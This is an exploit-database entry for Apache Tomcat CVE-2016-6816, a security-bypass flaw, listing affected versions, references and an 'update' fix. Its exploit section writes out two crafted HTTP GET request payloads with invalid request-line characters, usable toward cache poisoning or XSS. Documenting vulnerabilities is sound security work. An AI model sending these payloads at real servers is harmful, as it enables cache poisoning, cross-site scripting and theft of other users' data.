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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title:Apache Tomcat CVE-2016-6816 Security Bypass Vulnerability
# Date: 4th March 2017
# Exploit Author: justpentest
# Vendor Homepage: tomcat.apache.org
# Version: Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6,
8.0.0.RC1 through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47
# Contact: transform2secure@gmail.com


Source: https://www.securityfocus.com/bid/94461/info

1) Description:
Apache Tomcat is prone to a security-bypass vulnerability.
An attacker can exploit this issue to bypass certain security restrictions
and perform unauthorized actions. This may lead to further attacks.
Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1
through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are
vulnerable.
This could be exploited, in conjunction with a proxy that also permitted
the invalid characters but with a different interpretation, to inject data
into the HTTP response. By manipulating the HTTP response the attacker
could poison a web-cache, perform an XSS attack and/or obtain sensitive
information from requests other then their own.

https://www.securityfocus.com/bid/94461/discuss
2) Exploit:

GET /?{{%25}}cake\=1 HTTP/1.1
Host: justpentest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Cookie:
NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888

 OR

GET
/?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1
HTTP/1.1

Response will be Apache tomcat front page something like
https://en.wikipedia.org/wiki/File:Apache-tomcat-frontpage-epiphany-browser.jpg

3) Refrences:
https://nvd.nist.gov/vuln/detail/CVE-2016-6816
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6816

4) Solution:
As usual update ;)